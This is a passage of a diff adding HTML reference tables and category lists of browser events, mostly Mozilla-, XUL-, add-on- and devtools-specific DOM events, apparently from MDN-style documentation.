+   <td>{{event("statechange")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("statuschange")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("overflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-insert")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-remove")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{event("stkcommand")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("stksessionend")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td> </td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A generic composition event occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("underflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{deprecated_inline}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{event("ussdreceived")}}</p>
+   </td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{event("voicechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mozilla-specific_events">Mozilla-specific events</h2>
+
+<div class="note">
+<p><strong>Note:</strong> those events are never exposed to web content and can only be used in chrome content context.</p>
+</div>
+
+<h3 id="XUL_events">XUL events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td>{{event("broadcast")}}</td>
+   <td> </td>
+   <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{event("CheckboxStateChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{event("command")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{event("commandupdate")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemActive")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemInactive")}}</td>
+   <td> </td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{event("RadioStateChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{event("ValueChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Add-on-specific_events">Add-on-specific events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A popup has been blocked</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window has been created.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window is about to be closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>The title of a window has changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been added a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td> </td>
+   <td><em>Addons specifc</em></td>
+   <td>A link has been removed inside from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab is about to be restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been restored.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "ready".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A window state has switched to "busy".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been activated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The search feature of Panorama has been deactivated</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The frame container of Panorama has been initialized</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been shown</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>The Panorama tab has been hidden</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been opened.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been selected.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been shown.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been hidden.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been pinned.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td> </td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been unpinned.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Developer_tool-specific_events">Developer tool-specific events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been updated.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td> </td>
+   <td><em>devtools specific</em></td>
+   <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<p>{{event("animationend")}}, {{event("animationiteration")}}, {{event("animationstart")}}, {{event("beginEvent")}}, {{event("endEvent")}}, {{event("repeatEvent")}}</p>
+
+<h3 id="Battery_events">Battery events</h3>
+
+<p>{{event("chargingchange")}} {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} {{event("levelchange")}}</p>
+
+<h3 id="Call_events">Call events</h3>
+
+<p>{{event("alerting")}}, {{event("busy")}}, {{event("callschanged")}} {{event("cfstatechange")}}, {{event("connected")}}, {{event("connecting")}}, {{event("dialing")}}, {{event("disconnected")}}, {{event("disconnecting")}}, {{event("error_(Telephony)","error")}}, {{event("held")}}, {{event("holding")}}, {{event("incoming")}}, {{event("resuming")}}, {{event("statechange")}}, {{event("voicechange")}}</p>
+
+<h3 id="CSS_events">CSS events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a>, {{event("transitionend")}}</p>
+
+<h3 id="Database_events">Database events</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code>, {{event("error")}} (<a href="/en-US/docs/Web/Reference/Events/error">link</a>), <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="Document_events">Document events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a>, <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a>, {{event("unload")}}</p>
+
+<h3 id="DOM_mutation_events">DOM mutation events</h3>
+
+<p><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code>, {{event("DOMContentLoaded")}}, <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="Drag_events">Drag events</h3>
+
+<p>{{event("drag")}}, <code>dragdrop</code>, {{event("dragend")}}, {{event("dragenter")}}, <code>dragexit</code>, <code>draggesture</code>, {{event("dragleave")}}, {{event("dragover")}}, {{event("dragstart")}}, {{event("drop")}}</p>
+
+<h3 id="Element_events">Element events</h3>
+
+<p>{{event("invalid")}}, {{event("overflow")}}, {{event("underflow")}}, <a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a>, {{event("command")}}, {{event("commandupdate")}}</p>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<p>{{event("blur")}}, {{event("change")}}, <code>DOMFocusIn</code>, <code>DOMFocusOut</code>, {{event("focus")}}, {{event("focusin")}}, {{event("focusout")}}</p>
+
+<h3 id="Form_events">Form events</h3>
+
+<p>{{event("reset")}}, {{event("submit")}}</p>
+
+<h3 id="Frame_events">Frame events</h3>
+
+<p>{{event("mozbrowserclose")}}, {{event("mozbrowsercontextmenu")}}, {{event("mozbrowsererror")}}, {{event("mozbrowsericonchange")}}, {{event("mozbrowserlocationchange")}}, {{event("mozbrowserloadend")}}, {{event("mozbrowserloadstart")}}, {{event("mozbrowseropenwindow")}}, {{event("mozbrowsersecuritychange")}}, {{event("mozbrowsershowmodalprompt")}} (<a href="/en-US/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>), {{event("mozbrowsertitlechange")}}, <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="Input_device_events">Input device events</h3>
+
+<p>{{event("click")}}, {{event("contextmenu")}}, {{event("DOMMouseScroll")}}, {{event("dblclick")}}, {{event("gamepadconnected")}}, {{event("gamepaddisconnected")}}, {{event("keydown")}}, {{event("keypress")}}, {{event("keyup")}}, {{event("MozGamepadButtonDown")}}, {{event("MozGamepadButtonUp")}}, {{event("mousedown")}}, {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mousemove")}}, {{event("mouseout")}}, {{event("mouseover")}}, {{event("mouseup")}}, {{event("mousewheel")}}, {{event("MozMousePixelScroll")}}, {{event("pointerlockchange")}}, {{event("pointerlockerror")}},{{event("wheel")}}</p>
+
+<h3 id="Media_events">Media events</h3>
+
+<p>{{event("audioprocess")}}, {{event("canplay")}}, {{event("canplaythrough")}}, {{event("durationchange")}}, {{event("emptied")}}, {{event("ended")}}, {{event("ended_(Web_Audio)", "ended")}}, {{event("loadeddata")}}, {{event("loadedmetadata")}}, {{event("MozAudioAvailable")}}, {{event("pause")}}, {{event("play")}}, {{event("playing")}}, {{event("ratechange")}}, {{event("seeked")}}, {{event("seeking")}}, {{event("stalled")}}, {{event("suspend")}}, {{event("timeupdate")}}, {{event("volumechange")}}, {{event("waiting")}}, {{event("complete")}}</p>
+
+<h3 id="Menu_events">Menu events</h3>
+
+<p>{{event("DOMMenuItemActive")}}, {{event("DOMMenuItemInactive")}}</p>
+
+<h3 id="Network_events">Network events</h3>
+
+<p>{{event("datachange")}}, {{event("dataerror")}}, {{event("disabled")}}, {{event("enabled")}}, {{event("offline")}}, {{event("online")}}, {{event("statuschange")}}, {{event("connectionInfoUpdate")}},</p>
+
+<h3 id="Notification_events">Notification events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a>, <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="Pointer_events">Pointer events</h3>
+
+<p>{{event("pointerover")}}, {{event("pointerenter")}}, {{event("pointerdown")}}, {{event("pointermove")}}, {{event("pointerup")}}, {{event("pointercancel")}}, {{event("pointerout")}}, {{event("pointerleave")}}, {{event("gotpointercapture")}}, {{event("lostpointercapture")}}</p>
+
+<h3 id="Popup_events">Popup events</h3>
+
+<p>{{event("popuphidden")}}, {{event("popuphiding")}}, {{event("popupshowing")}}, {{event("popupshown")}}, <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="Printing_events">Printing events</h3>
+
+<p>{{event("afterprint")}}, {{event("beforeprint")}}</p>
+
+<h3 id="Progress_events">Progress events</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code>, {{event("loadend")}}, {{event("loadstart")}}, {{event("progress")}}, <code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code>, {{event("timeout")}}, <code>uploadprogress</code></p>
+
+<h3 id="Resource_events">Resource events</h3>
+
+<p>{{event("abort")}}, {{event("cached")}}, {{event("error")}}, {{event("load")}}</p>
+
+<h3 id="Script_events">Script events</h3>
+
+<p>{{event("afterscriptexecute")}}, {{event("beforescriptexecute")}}</p>
+
+<h3 id="Sensor_events">Sensor events</h3>
+
+<p>{{event("compassneedscalibration")}}, {{event("devicelight")}}, {{event("devicemotion")}}, {{event("deviceorientation")}}, {{event("deviceproximity")}}, {{event("MozOrientation")}}, {{event("orientationchange")}}, {{event("userproximity")}}</p>
+
+<h3 id="Session_history_events">Session history events</h3>
+
+<p>{{event("pagehide")}}, {{event("pageshow")}}, {{event("popstate")}}</p>
+
+<h3 id="Smartcard_events">Smartcard events</h3>
+
+<p>{{event("icccardlockerror")}}, {{event("iccinfochange")}}, {{event("smartcard-insert")}}, {{event("smartcard-remove")}}, {{event("stkcommand")}}, {{event("stksessionend")}}, {{event("cardstatechange")}}</p>
+
+<h3 id="SMS_and_USSD_events">SMS and USSD events</h3>
+
+<p>{{event("delivered")}}, {{event("received")}}, {{event("sent")}}, {{event("ussdreceived")}}</p>
+
+<h3 id="Storage_events">Storage events</h3>
+
+<p>{{event("change")}} (see {{anch("Non-standard events")}}), {{event("storage")}}</p>
+
+<h3 id="SVG_events">SVG events</h3>
+
+<p>{{event("SVGAbort")}}, {{event("SVGError")}}, {{event("SVGLoad")}}, {{event("SVGResize")}}, {{event("SVGScroll")}}, {{event("SVGUnload")}}, {{event("SVGZoom")}}</p>
+
+<h3 id="Tab_events">Tab events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a>, <a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a>, <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a>, <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a>, <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a>, <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a>, <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a>, <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a>, {{event("visibilitychange")}}</p>
+
+<h3 id="Text_events">Text events</h3>
+
+<p>{{event("compositionend")}}, {{event("compositionstart")}}, {{event("compositionupdate")}}, {{event("copy")}}, {{event("cut")}}, {{event("paste")}}, {{event("select")}}, <code>text</code></p>
+
+<h3 id="Touch_events">Touch events</h3>
+
